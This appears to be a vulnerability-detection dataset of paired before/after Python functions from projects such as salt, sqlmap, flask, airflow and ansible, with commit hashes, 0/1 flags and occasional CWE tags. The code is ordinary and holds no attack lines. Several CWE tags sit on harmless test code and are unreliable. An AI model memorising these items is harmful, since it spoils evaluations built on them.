        self.check_example('pickle_deserialize.py', expect)",UNKNOWN,PyCQA/bandit,cad4e1235e79e74d052555a43b76f523fe5a38a1,"def test_pickle(self):
        '''Test for the `pickle` module.'''
        expect = {
            'SEVERITY': {'UNDEFINED': 0, 'LOW': 2, 'MEDIUM': 6, 'HIGH': 0},
            'CONFIDENCE': {'UNDEFINED': 0, 'LOW': 0, 'MEDIUM': 0, 'HIGH': 8}
        }
        self.check_example('pickle_deserialize.py', expect)"
,UNKNOWN,UNKNOWN,tests/test_requests.py,1,"def test_status_code_425(self):
        r1 = requests.codes.get(""TOO_EARLY"")
        r2 = requests.codes.get(""too_early"")
        r3 = requests.codes.get(""UNORDERED"")
        r4 = requests.codes.get(""unordered"")
        r5 = requests.codes.get(""UNORDERED_COLLECTION"")
        r6 = requests.codes.get(""unordered_collection"")

        assert r1 == 425
        assert r2 == 425
        assert r3 == 425
        assert r4 == 425
        assert r5 == 425
        assert r6 == 425",CWE-703,psf/requests,a58d7f2ffb4d00b46dca2d70a3932a0b37e22fac,"def test_status_code_425(self):
        r1 = requests.codes.get(""TOO_EARLY"")
        r2 = requests.codes.get(""too_early"")
        r3 = requests.codes.get(""UNORDERED"")
        r4 = requests.codes.get(""unordered"")
        r5 = requests.codes.get(""UNORDERED_COLLECTION"")
        r6 = requests.codes.get(""unordered_collection"")

        assert r1 == 425
        assert r2 == 425
        assert r3 == 425
        assert r4 == 425
        assert r5 == 425
        assert r6 == 425"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/option.py,0,"def _setCrawler():
    if not conf.crawlDepth:
        return

    if not conf.bulkFile:
        if conf.url:
            crawl(conf.url)
        elif conf.requestFile and kb.targets:
            target = list(kb.targets)[0]
            crawl(target[0], target[2], target[3])",,sqlmapproject/sqlmap,0d140b60f1c9f75f52e96b1e28b58d36396082c5,"def _setCrawler():
    if not conf.crawlDepth:
        return

    if not conf.bulkFile:
        crawl(conf.url)"
,UNKNOWN,UNKNOWN,tests/utils/test_task_group.py,1,"def test_task_group_edge_modifier_chain():
    from airflow.models.baseoperator import chain
    from airflow.utils.edgemodifier import Label

    with DAG(dag_id=""test"", start_date=pendulum.DateTime(2022, 5, 20)) as dag:
        start = EmptyOperator(task_id=""sleep_3_seconds"")

        with TaskGroup(group_id=""group1"") as tg:
            t1 = EmptyOperator(task_id=""dummy1"")
            t2 = EmptyOperator(task_id=""dummy2"")

        t3 = EmptyOperator(task_id=""echo_done"")

    # The case we are testing for is when a Label is inside a list -- meaning that we do tg.set_upstream
    # instead of label.set_downstream
    chain(start, [Label(""branch three"")], tg, t3)

    assert start.downstream_task_ids == {t1.node_id, t2.node_id}
    assert t3.upstream_task_ids == {t1.node_id, t2.node_id}
    assert tg.upstream_task_ids == set()
    assert tg.downstream_task_ids == {t3.node_id}
    # Check that we can perform a topological_sort
    dag.topological_sort()",CWE-703,apache/airflow,9c4ab100e5b069c86bd00bb7860794df0e32fc2e,"def test_task_group_edge_modifier_chain():
    from airflow.models.baseoperator import chain
    from airflow.utils.edgemodifier import Label

    with DAG(dag_id=""test"", start_date=pendulum.DateTime(2022, 5, 20)) as dag:
        start = EmptyOperator(task_id=""sleep_3_seconds"")

        with TaskGroup(group_id=""group1"") as tg:
            t1 = EmptyOperator(task_id=""dummy1"")
            t2 = EmptyOperator(task_id=""dummy2"")

        t3 = EmptyOperator(task_id=""echo_done"")

    # The case we are testing for is when a Label is inside a list -- meaning that we do tg.set_upstream
    # instead of label.set_downstream
    chain(start, [Label(""branch three"")], tg, t3)

    assert start.downstream_task_ids == {t1.node_id, t2.node_id}
    assert t3.upstream_task_ids == {t1.node_id, t2.node_id}
    assert tg.upstream_task_ids == set()
    assert tg.downstream_task_ids == {t3.node_id}
    # Check that we can perform a topological_sort
    dag.topological_sort()"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/scaffold.py,0,"def __init__(
        self,
        import_name: str,
        static_folder: t.Optional[t.Union[str, os.PathLike]] = None,
        static_url_path: t.Optional[str] = None,
        template_folder: t.Optional[t.Union[str, os.PathLike]] = None,
        root_path: t.Optional[str] = None,
    ):
        #: The name of the package or module that this object belongs
        #: to. Do not change this once it is set by the constructor.
        self.import_name = import_name

        self.static_folder = static_folder  # type: ignore
        self.static_url_path = static_url_path

        #: The path to the templates folder, relative to
        #: :attr:`root_path`, to add to the template loader. ``None`` if
        #: templates should not be added.
        self.template_folder = template_folder

        if root_path is None:
            root_path = get_root_path(self.import_name)

        #: Absolute path to the package on the filesystem. Used to look
        #: up resources contained in the package.
        self.root_path = root_path

        #: The Click command group for registering CLI commands for this
        #: object. The commands are available from the ``flask`` command
        #: once the application has been discovered and blueprints have
        #: been registered.
        self.cli = AppGroup()

        #: A dictionary mapping endpoint names to view functions.
        #:
        #: To register a view function, use the :meth:`route` decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.view_functions: t.Dict[str, t.Callable] = {}

        #: A data structure of registered error handlers, in the format
        #: ``{scope: {code: {class: handler}}}``. The ``scope`` key is
        #: the name of a blueprint the handlers are active for, or
        #: ``None`` for all requests. The ``code`` key is the HTTP
        #: status code for ``HTTPException``, or ``None`` for
        #: other exceptions. The innermost dictionary maps exception
        #: classes to handler functions.
        #:
        #: To register an error handler, use the :meth:`errorhandler`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.error_handler_spec: t.Dict[
            ft.AppOrBlueprintKey,
            t.Dict[t.Optional[int], t.Dict[t.Type[Exception], ft.ErrorHandlerCallable]],
        ] = defaultdict(lambda: defaultdict(dict))

        #: A data structure of functions to call at the beginning of
        #: each request, in the format ``{scope: [functions]}``. The
        #: ``scope`` key is the name of a blueprint the functions are
        #: active for, or ``None`` for all requests.
        #:
        #: To register a function, use the :meth:`before_request`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.before_request_funcs: t.Dict[
            ft.AppOrBlueprintKey, t.List[ft.BeforeRequestCallable]
        ] = defaultdict(list)

        #: A data structure of functions to call at the end of each
        #: request, in the format ``{scope: [functions]}``. The
        #: ``scope`` key is the name of a blueprint the functions are
        #: active for, or ``None`` for all requests.
        #:
        #: To register a function, use the :meth:`after_request`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.after_request_funcs: t.Dict[
            ft.AppOrBlueprintKey, t.List[ft.AfterRequestCallable]
        ] = defaultdict(list)

        #: A data structure of functions to call at the end of each
        #: request even if an exception is raised, in the format
        #: ``{scope: [functions]}``. The ``scope`` key is the name of a
        #: blueprint the functions are active for, or ``None`` for all
        #: requests.
        #:
        #: To register a function, use the :meth:`teardown_request`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.teardown_request_funcs: t.Dict[
            ft.AppOrBlueprintKey, t.List[ft.TeardownCallable]
        ] = defaultdict(list)

        #: A data structure of functions to call to pass extra context
        #: values when rendering templates, in the format
        #: ``{scope: [functions]}``. The ``scope`` key is the name of a
        #: blueprint the functions are active for, or ``None`` for all
        #: requests.
        #:
        #: To register a function, use the :meth:`context_processor`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.template_context_processors: t.Dict[
            ft.AppOrBlueprintKey, t.List[ft.TemplateContextProcessorCallable]
        ] = defaultdict(list, {None: [_default_template_ctx_processor]})

        #: A data structure of functions to call to modify the keyword
        #: arguments passed to the view function, in the format
        #: ``{scope: [functions]}``. The ``scope`` key is the name of a
        #: blueprint the functions are active for, or ``None`` for all
        #: requests.
        #:
        #: To register a function, use the
        #: :meth:`url_value_preprocessor` decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.url_value_preprocessors: t.Dict[
            ft.AppOrBlueprintKey,
            t.List[ft.URLValuePreprocessorCallable],
        ] = defaultdict(list)

        #: A data structure of functions to call to modify the keyword
        #: arguments when generating URLs, in the format
        #: ``{scope: [functions]}``. The ``scope`` key is the name of a
        #: blueprint the functions are active for, or ``None`` for all
        #: requests.
        #:
        #: To register a function, use the :meth:`url_defaults`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.url_default_functions: t.Dict[
            ft.AppOrBlueprintKey, t.List[ft.URLDefaultCallable]
        ] = defaultdict(list)",,pallets/flask,631b6dd54619f5e71134297e3daa9bdbd1bc123b,"def __init__(
        self,
        import_name: str,
        static_folder: t.Optional[t.Union[str, os.PathLike]] = None,
        static_url_path: t.Optional[str] = None,
        template_folder: t.Optional[str] = None,
        root_path: t.Optional[str] = None,
    ):
        #: The name of the package or module that this object belongs
        #: to. Do not change this once it is set by the constructor.
        self.import_name = import_name

        self.static_folder = static_folder  # type: ignore
        self.static_url_path = static_url_path

        #: The path to the templates folder, relative to
        #: :attr:`root_path`, to add to the template loader. ``None`` if
        #: templates should not be added.
        self.template_folder = template_folder

        if root_path is None:
            root_path = get_root_path(self.import_name)

        #: Absolute path to the package on the filesystem. Used to look
        #: up resources contained in the package.
        self.root_path = root_path

        #: The Click command group for registering CLI commands for this
        #: object. The commands are available from the ``flask`` command
        #: once the application has been discovered and blueprints have
        #: been registered.
        self.cli = AppGroup()

        #: A dictionary mapping endpoint names to view functions.
        #:
        #: To register a view function, use the :meth:`route` decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.view_functions: t.Dict[str, t.Callable] = {}

        #: A data structure of registered error handlers, in the format
        #: ``{scope: {code: {class: handler}}}``. The ``scope`` key is
        #: the name of a blueprint the handlers are active for, or
        #: ``None`` for all requests. The ``code`` key is the HTTP
        #: status code for ``HTTPException``, or ``None`` for
        #: other exceptions. The innermost dictionary maps exception
        #: classes to handler functions.
        #:
        #: To register an error handler, use the :meth:`errorhandler`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.error_handler_spec: t.Dict[
            ft.AppOrBlueprintKey,
            t.Dict[t.Optional[int], t.Dict[t.Type[Exception], ft.ErrorHandlerCallable]],
        ] = defaultdict(lambda: defaultdict(dict))

        #: A data structure of functions to call at the beginning of
        #: each request, in the format ``{scope: [functions]}``. The
        #: ``scope`` key is the name of a blueprint the functions are
        #: active for, or ``None`` for all requests.
        #:
        #: To register a function, use the :meth:`before_request`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.before_request_funcs: t.Dict[
            ft.AppOrBlueprintKey, t.List[ft.BeforeRequestCallable]
        ] = defaultdict(list)

        #: A data structure of functions to call at the end of each
        #: request, in the format ``{scope: [functions]}``. The
        #: ``scope`` key is the name of a blueprint the functions are
        #: active for, or ``None`` for all requests.
        #:
        #: To register a function, use the :meth:`after_request`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.after_request_funcs: t.Dict[
            ft.AppOrBlueprintKey, t.List[ft.AfterRequestCallable]
        ] = defaultdict(list)

        #: A data structure of functions to call at the end of each
        #: request even if an exception is raised, in the format
        #: ``{scope: [functions]}``. The ``scope`` key is the name of a
        #: blueprint the functions are active for, or ``None`` for all
        #: requests.
        #:
        #: To register a function, use the :meth:`teardown_request`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.teardown_request_funcs: t.Dict[
            ft.AppOrBlueprintKey, t.List[ft.TeardownCallable]
        ] = defaultdict(list)

        #: A data structure of functions to call to pass extra context
        #: values when rendering templates, in the format
        #: ``{scope: [functions]}``. The ``scope`` key is the name of a
        #: blueprint the functions are active for, or ``None`` for all
        #: requests.
        #:
        #: To register a function, use the :meth:`context_processor`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.template_context_processors: t.Dict[
            ft.AppOrBlueprintKey, t.List[ft.TemplateContextProcessorCallable]
        ] = defaultdict(list, {None: [_default_template_ctx_processor]})

        #: A data structure of functions to call to modify the keyword
        #: arguments passed to the view function, in the format
        #: ``{scope: [functions]}``. The ``scope`` key is the name of a
        #: blueprint the functions are active for, or ``None`` for all
        #: requests.
        #:
        #: To register a function, use the
        #: :meth:`url_value_preprocessor` decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.url_value_preprocessors: t.Dict[
            ft.AppOrBlueprintKey,
            t.List[ft.URLValuePreprocessorCallable],
        ] = defaultdict(list)

        #: A data structure of functions to call to modify the keyword
        #: arguments when generating URLs, in the format
        #: ``{scope: [functions]}``. The ``scope`` key is the name of a
        #: blueprint the functions are active for, or ``None`` for all
        #: requests.
        #:
        #: To register a function, use the :meth:`url_defaults`
        #: decorator.
        #:
        #: This data structure is internal. It should not be modified
        #: directly and its format may change at any time.
        self.url_default_functions: t.Dict[
            ft.AppOrBlueprintKey, t.List[ft.URLDefaultCallable]
        ] = defaultdict(list)"
,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/centurylink/clc_group.py,1,"def _ensure_group_is_present(
            self,
            group_name,
            parent_name,
            group_description):
        """"""
        Checks to see if a server group exists, creates it if it doesn't.
        :param group_name: the name of the group to validate/create
        :param parent_name: the name of the parent group for group_name
        :param group_description: a short description of the server group (used when creating)
        :return: (changed, group) -
            changed:  Boolean- whether a change was made,
            group:  A clc group object for the group
        """"""
        if not self.root_group:
            raise AssertionError(""Implementation Error: Root Group not set"")
        parent = parent_name if parent_name is not None else self.root_group.name
        description = group_description
        changed = False
        group = group_name

        parent_exists = self._group_exists(group_name=parent, parent_name=None)
        child_exists = self._group_exists(
            group_name=group_name,
            parent_name=parent)

        if parent_exists and child_exists:
            group, parent = self.group_dict[group_name]
            changed = False
        elif parent_exists and not child_exists:
            if not self.module.check_mode:
                group = self._create_group(
                    group=group,
                    parent=parent,
                    description=description)
            changed = True
        else:
            self.module.fail_json(
                msg=""parent group: "" +
                parent +
                "" does not exist"")

        return changed, group",CWE-703,ansible/ansible,99d4f5bab4d334c0457a0cc6635f3104ca672834,"def _ensure_group_is_present(
            self,
            group_name,
            parent_name,
            group_description):
        """"""
        Checks to see if a server group exists, creates it if it doesn't.
        :param group_name: the name of the group to validate/create
        :param parent_name: the name of the parent group for group_name
        :param group_description: a short description of the server group (used when creating)
        :return: (changed, group) -
            changed:  Boolean- whether a change was made,
            group:  A clc group object for the group
        """"""
        assert self.root_group, ""Implementation Error: Root Group not set""
        parent = parent_name if parent_name is not None else self.root_group.name
        description = group_description
        changed = False
        group = group_name

        parent_exists = self._group_exists(group_name=parent, parent_name=None)
        child_exists = self._group_exists(
            group_name=group_name,
            parent_name=parent)

        if parent_exists and child_exists:
            group, parent = self.group_dict[group_name]
            changed = False
        elif parent_exists and not child_exists:
            if not self.module.check_mode:
                group = self._create_group(
                    group=group,
                    parent=parent,
                    description=description)
            changed = True
        else:
            self.module.fail_json(
                msg=""parent group: "" +
                parent +
                "" does not exist"")

        return changed, group"
,UNKNOWN,UNKNOWN,tests/lightgbm/test_lightgbm_autolog.py,1,"def test_lgb_autolog_logs_default_params(bst_params, train_set):
    mlflow.lightgbm.autolog()
    lgb.train(bst_params, train_set)
    run = get_latest_run()
    params = run.data.params

    expected_params = {
        ""num_boost_round"": 100,
        ""keep_training_booster"": False,
    }
    if Version(lgb.__version__) <= Version(""3.3.1""):
        # The parameter `verbose_eval` in `lightgbm.train` is removed in this PR:
        # https://github.com/microsoft/LightGBM/pull/4878
        expected_params[""verbose_eval""] = (
            # The default value of `verbose_eval` in `lightgbm.train` has been changed to 'warn'
            # in this PR: https://github.com/microsoft/LightGBM/pull/4577
            ""warn"" if Version(lgb.__version__) > Version(""3.2.1"") else True
        )
    if Version(lgb.__version__) <= Version(""4.5.0""):
        # these params were removed in this PR:
        # https://github.com/microsoft/LightGBM/pull/6706
        expected_params[""feature_name""] = ""auto""
        expected_params[""categorical_feature""] = ""auto""

    expected_params.update(bst_params)

    for key, val in expected_params.items():
        assert key in params
        assert params[key] == str(val)

    unlogged_params = [
        ""params"",
        ""train_set"",
        ""valid_sets"",
        ""valid_names"",
        ""fobj"",
        ""feval"",
        ""init_model"",
        ""learning_rates"",
        ""callbacks"",
    ]
    if Version(lgb.__version__) <= Version(""3.3.1""):
        # The parameter `evals_result` in `lightgbm.train` is removed in this PR:
        # https://github.com/microsoft/LightGBM/pull/4882
        unlogged_params.append(""evals_result"")

    for param in unlogged_params:
        assert param not in params",CWE-703,mlflow/mlflow,f5f4e6a916f161cbd8100dca9b686129448313a9,"def test_lgb_autolog_logs_default_params(bst_params, train_set):
    mlflow.lightgbm.autolog()
    lgb.train(bst_params, train_set)
    run = get_latest_run()
    params = run.data.params

    expected_params = {
        ""num_boost_round"": 100,
        ""feature_name"": ""auto"",
        ""categorical_feature"": ""auto"",
        ""keep_training_booster"": False,
    }
    if Version(lgb.__version__) <= Version(""3.3.1""):
        # The parameter `verbose_eval` in `lightgbm.train` is removed in this PR:
        # https://github.com/microsoft/LightGBM/pull/4878
        expected_params[""verbose_eval""] = (
            # The default value of `verbose_eval` in `lightgbm.train` has been changed to 'warn'
            # in this PR: https://github.com/microsoft/LightGBM/pull/4577
            ""warn"" if Version(lgb.__version__) > Version(""3.2.1"") else True
        )
    expected_params.update(bst_params)

    for key, val in expected_params.items():
        assert key in params
        assert params[key] == str(val)

    unlogged_params = [
        ""params"",
        ""train_set"",
        ""valid_sets"",
        ""valid_names"",
        ""fobj"",
        ""feval"",
        ""init_model"",
        ""learning_rates"",
        ""callbacks"",
    ]
    if Version(lgb.__version__) <= Version(""3.3.1""):
        # The parameter `evals_result` in `lightgbm.train` is removed in this PR:
        # https://github.com/microsoft/LightGBM/pull/4882
        unlogged_params.append(""evals_result"")

    for param in unlogged_params:
        assert param not in params"
,UNKNOWN,UNKNOWN,tests/unit/states/proxy_test.py,1,"def test_set_proxy_windows_same(self):
        '''
            Test to make sure we can set the proxy settings on Windows
        '''
        proxy.__grains__['os'] = 'Windows'
        expected = {
            'changes': {},
            'comment': 'Proxy settings already correct.',
            'name': '192.168.0.1',
            'result': True
        }

        proxy_val = {
            'enabled': True,
            'http': {
                'enabled': True,
                'server': '192.168.0.1',
                'port': '3128'
            },
            'https': {
                'enabled': True,
                'server': '192.168.0.1',
                'port': '3128'
            },
            'ftp': {
                'enabled': True,
                'server': '192.168.0.1',
                'port': '3128'
            }
        }

        set_proxy_mock = MagicMock(return_value=True)
        patches = {
            'proxy.get_proxy_win': MagicMock(return_value=proxy_val),
            'proxy.get_proxy_bypass': MagicMock(return_value=['salt.com', 'test.com']),
            'proxy.set_proxy_win': set_proxy_mock,
        }

        with patch.dict(proxy.__salt__, patches):
            out = proxy.managed('192.168.0.1', '3128', user='frank', password='passw0rd',
                                bypass_domains=['salt.com', 'test.com'])

            assert not set_proxy_mock.called
            self.assertEqual(out, expected)","CWE-259, CWE-703",saltstack/salt,c28fc6e1d86caf31887f3e8d42df8bad946c849b,"def test_set_proxy_windows_same(self):
        '''
            Test to make sure we can set the proxy settings on Windows
        '''
        proxy.__grains__['os'] = 'Windows'
        expected = {
            'changes': {},
            'comment': 'Proxy settings already correct.',
            'name': '192.168.0.1',
            'result': True
        }

        proxy_val = {
            'http': {
                'enabled': True,
                'server': '192.168.0.1',
                'port': '3128'
            },
            'https': {
                'enabled': True,
                'server': '192.168.0.1',
                'port': '3128'
            },
            'ftp': {
                'enabled': True,
                'server': '192.168.0.1',
                'port': '3128'
            }
        }

        set_proxy_mock = MagicMock(return_value=True)
        patches = {
            'proxy.get_proxy_win': MagicMock(return_value=proxy_val),
            'proxy.get_proxy_bypass': MagicMock(return_value=['salt.com', 'test.com']),
            'proxy.set_proxy_win': set_proxy_mock,
        }

        with patch.dict(proxy.__salt__, patches):
            out = proxy.managed('192.168.0.1', '3128', user='frank', password='passw0rd',
                                bypass_domains=['salt.com', 'test.com'])

            assert not set_proxy_mock.called
            self.assertEqual(out, expected)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/cryptdev.py,0,"def active():
    """"""
    List existing device-mapper device details.
    """"""
    ret = {}
    # TODO: This command should be extended to collect more information, such as UUID.
    devices = __salt__[""cmd.run_stdout""](""dmsetup ls --target crypt"")
    out_regex = re.compile(r""(?P<devname>\S+)\s+\((?P<major>\d+), (?P<minor>\d+)\)"")

    log.debug(devices)
    for line in devices.split(""\n""):
        match = out_regex.match(line)
        if match:
            dev_info = match.groupdict()
            ret[dev_info[""devname""]] = dev_info
        else:
            log.warning(""dmsetup output does not match expected format"")

    return ret",,saltstack/salt,5e46ebbb6d0fa5d2ce5c4b9f322e7b18214d404a,"def active():
    """"""
    List existing device-mapper device details.
    """"""
    ret = {}
    # TODO: This command should be extended to collect more information, such as UUID.
    devices = __salt__[""cmd.run_stdout""](""dmsetup ls --target crypt"")
    out_regex = re.compile(r""(?P<devname>\w+)\W+\((?P<major>\d+), (?P<minor>\d+)\)"")

    log.debug(devices)
    for line in devices.split(""\n""):
        match = out_regex.match(line)
        if match:
            dev_info = match.groupdict()
            ret[dev_info[""devname""]] = dev_info
        else:
            log.warning(""dmsetup output does not match expected format"")

    return ret"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/utils/__init__.py,0,"def clean_kwargs(**kwargs):
    '''
    Return a dict without any of the __pub* keys (or any other keys starting
    with a dunder) from the kwargs dict passed into the execution module
    functions. These keys are useful for tracking what was used to invoke
    the function call, but they may not be desirable to have if passing the
    kwargs forward wholesale.
    '''
    ret = {}
    for key, val in six.iteritems(kwargs):
        if not key.startswith('__'):
            ret[key] = val
    return ret",,saltstack/salt,b1698e830e8e9dcb0f28edeba86bbd32687b2984,"def clean_kwargs(**kwargs):
    '''
    Return a dict without any of the __pub* keys (or any other keys starting
    with a dunder) from the kwargs dict passed into the execution module
    functions. These keys are useful for tracking what was used to invoke
    the function call, but they may not be desierable to have if passing the
    kwargs forward wholesale.
    '''
    ret = {}
    for key, val in six.iteritems(kwargs):
        if not key.startswith('__'):
            ret[key] = val
    return ret"
,UNKNOWN,UNKNOWN,salt/netapi/rest_cherrypy/app.py,1,"def POST(self, **kwargs):
        '''
        :ref:`Authenticate  <rest_cherrypy-auth>` against Salt's eauth system

        .. http:post:: /login

            :reqheader X-Auth-Token: |req_token|
            :reqheader Accept: |req_accept|
            :reqheader Content-Type: |req_ct|

            :form eauth: the eauth backend configured for the user
            :form username: username
            :form password: password

            :status 200: |200|
            :status 401: |401|
            :status 406: |406|

        **Example request:**

        .. code-block:: bash

            curl -si localhost:8000/login \\
                -c ~/cookies.txt \\
                -H ""Accept: application/json"" \\
                -H ""Content-type: application/json"" \\
                -d '{
                    ""username"": ""saltuser"",
                    ""password"": ""saltuser"",
                    ""eauth"": ""auto""
                }'

        .. code-block:: http

            POST / HTTP/1.1
            Host: localhost:8000
            Content-Length: 42
            Content-Type: application/json
            Accept: application/json

            {""username"": ""saltuser"", ""password"": ""saltuser"", ""eauth"": ""auto""}


        **Example response:**

        .. code-block:: http

            HTTP/1.1 200 OK
            Content-Type: application/json
            Content-Length: 206
            X-Auth-Token: 6d1b722e
            Set-Cookie: session_id=6d1b722e; expires=Sat, 17 Nov 2012 03:23:52 GMT; Path=/

            {""return"": {
                ""token"": ""6d1b722e"",
                ""start"": 1363805943.776223,
                ""expire"": 1363849143.776224,
                ""user"": ""saltuser"",
                ""eauth"": ""pam"",
                ""perms"": [
                    ""grains.*"",
                    ""status.*"",
                    ""sys.*"",
                    ""test.*""
                ]
            }}
        '''
        if not self.api._is_master_running():
            raise salt.exceptions.SaltDaemonNotRunning(
                'Salt Master is not available.')

        # the urlencoded_processor will wrap this in a list
        if isinstance(cherrypy.serving.request.lowstate, list):
            creds = cherrypy.serving.request.lowstate[0]
        else:
            creds = cherrypy.serving.request.lowstate

        username = creds.get('username', None)
        # Validate against the whitelist.
        if not salt_api_acl_tool(username, cherrypy.request):
            raise cherrypy.HTTPError(401)

        # Mint token.
        token = self.auth.mk_token(creds)
        if 'token' not in token:
            raise cherrypy.HTTPError(401,
                    'Could not authenticate using provided credentials')

        cherrypy.response.headers['X-Auth-Token'] = cherrypy.session.id
        cherrypy.session['token'] = token['token']
        cherrypy.session['timeout'] = (token['expire'] - token['start']) / 60
        cherrypy.session['user'] = token['name']
        if 'groups' in token:
            cherrypy.session['groups'] = token['groups']

        # Grab eauth config for the current backend for the current user
        try:
            eauth = self.opts.get('external_auth', {}).get(token['eauth'], {})

            if token['eauth'] == 'django' and '^model' in eauth:
                perms = token['auth_list']
            else:
                # Get sum of '*' perms, user-specific perms, and group-specific perms
                perms = eauth.get(token['name'], [])
                perms.extend(eauth.get('*', []))

                if 'groups' in token and token['groups']:
                    user_groups = set(token['groups'])
                    eauth_groups = set([i.rstrip('%') for i in eauth.keys() if i.endswith('%')])

                    for group in user_groups & eauth_groups:
                        perms.extend(eauth['{0}%'.format(group)])

            if not perms:
                logger.debug(""Eauth permission list not found."")
        except Exception:
            logger.debug(""Configuration for external_auth malformed for ""
                ""eauth '{0}', and user '{1}'.""
                .format(token.get('eauth'), token.get('name')), exc_info=True)
            perms = None

        return {'return': [{
            'token': cherrypy.session.id,
            'expire': token['expire'],
            'start': token['start'],
            'user': token['name'],
            'eauth': token['eauth'],
            'perms': perms or {},
        }]}",CWE-259,saltstack/salt,a0907bc861d40233db2d0ccc3defdc2af23d8e26,"def POST(self, **kwargs):
        '''
        :ref:`Authenticate  <rest_cherrypy-auth>` against Salt's eauth system

        .. http:post:: /login

            :reqheader X-Auth-Token: |req_token|
            :reqheader Accept: |req_accept|
            :reqheader Content-Type: |req_ct|

            :form eauth: the eauth backend configured for the user
            :form username: username
            :form password: password

            :status 200: |200|
            :status 401: |401|
            :status 406: |406|

        **Example request:**

        .. code-block:: bash

            curl -si localhost:8000/login \\
                -c ~/cookies.txt \\
                -H ""Accept: application/json"" \\
                -H ""Content-type: application/json"" \\
                -d '{
                    ""username"": ""saltuser"",
                    ""password"": ""saltuser"",
                    ""eauth"": ""auto""
                }'

        .. code-block:: http

            POST / HTTP/1.1
            Host: localhost:8000
            Content-Length: 42
            Content-Type: application/json
            Accept: application/json

            {""username"": ""saltuser"", ""password"": ""saltuser"", ""eauth"": ""auto""}


        **Example response:**

        .. code-block:: http

            HTTP/1.1 200 OK
            Content-Type: application/json
            Content-Length: 206
            X-Auth-Token: 6d1b722e
            Set-Cookie: session_id=6d1b722e; expires=Sat, 17 Nov 2012 03:23:52 GMT; Path=/

            {""return"": {
                ""token"": ""6d1b722e"",
                ""start"": 1363805943.776223,
                ""expire"": 1363849143.776224,
                ""user"": ""saltuser"",
                ""eauth"": ""pam"",
                ""perms"": [
                    ""grains.*"",
                    ""status.*"",
                    ""sys.*"",
                    ""test.*""
                ]
            }}
        '''
        if not self.api._is_master_running():
            raise salt.exceptions.SaltDaemonNotRunning(
                'Salt Master is not available.')

        # the urlencoded_processor will wrap this in a list
        if isinstance(cherrypy.serving.request.lowstate, list):
            creds = cherrypy.serving.request.lowstate[0]
        else:
            creds = cherrypy.serving.request.lowstate

        username = creds.get('username', None)
        # Validate against the whitelist.
        if not salt_api_acl_tool(username, cherrypy.request):
            raise cherrypy.HTTPError(401)

        # Mint token.
        token = self.auth.mk_token(creds)
        if 'token' not in token:
            raise cherrypy.HTTPError(401,
                    'Could not authenticate using provided credentials')

        cherrypy.response.headers['X-Auth-Token'] = cherrypy.session.id
        cherrypy.session['token'] = token['token']
        cherrypy.session['timeout'] = (token['expire'] - token['start']) / 60
        cherrypy.session['user'] = token['name']
        if 'groups' in token:
            cherrypy.session['groups'] = token['groups']

        # Grab eauth config for the current backend for the current user
        try:
            eauth = self.opts.get('external_auth', {}).get(token['eauth'], {})

            # Get sum of '*' perms, user-specific perms, and group-specific perms
            perms = eauth.get(token['name'], [])
            perms.extend(eauth.get('*', []))

            if 'groups' in token and token['groups']:
                user_groups = set(token['groups'])
                eauth_groups = set([i.rstrip('%') for i in eauth.keys() if i.endswith('%')])

                for group in user_groups & eauth_groups:
                    perms.extend(eauth['{0}%'.format(group)])

            if not perms:
                logger.debug(""Eauth permission list not found."")
        except Exception:
            logger.debug(""Configuration for external_auth malformed for ""
                ""eauth '{0}', and user '{1}'.""
                .format(token.get('eauth'), token.get('name')), exc_info=True)
            perms = None

        return {'return': [{
            'token': cherrypy.session.id,
            'expire': token['expire'],
            'start': token['start'],
            'user': token['name'],
            'eauth': token['eauth'],
            'perms': perms or {},
        }]}"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/basic.py,0,"def checkCharEncoding(encoding):
    if encoding:
        encoding = encoding.lower()
    else:
        return encoding

    #http://www.destructor.de/charsets/index.htm
    translate = { 'windows-874':'iso-8859-11' }

    #http://philip.html5.org/data/charsets-2.html
    if encoding.startswith('cp-'):
        encoding = 'cp%s' % encoding[3:]
    elif ';' in encoding:
        encoding = encoding[:encoding.find(';')]
    elif encoding in translate:
        encoding = translate[encoding]
    try:
        codecs.lookup(encoding)
    except LookupError:
        warnMsg  = ""unknown charset '%s'. "" % encoding
        warnMsg += ""please report by e-mail to sqlmap-users@lists.sourceforge.net.""

        logger.warn(warnMsg)
        encoding = conf.dataEncoding
    return encoding",,sqlmapproject/sqlmap,6a6ff09c9a7bc623a1a557575817e1af5fdc641b,"def checkCharEncoding(encoding):
    if encoding:
        encoding = encoding.lower()
    else:
        return encoding

    #http://www.destructor.de/charsets/index.htm
    translate = { 'windows-874':'iso-8859-11' }

    #http://philip.html5.org/data/charsets-2.html
    if encoding and encoding.startswith('cp-'):
        encoding = 'cp%s' % encoding[3:]
    elif encoding in translate:
        encoding = translate[encoding]
    try:
        codecs.lookup(encoding)
    except LookupError:
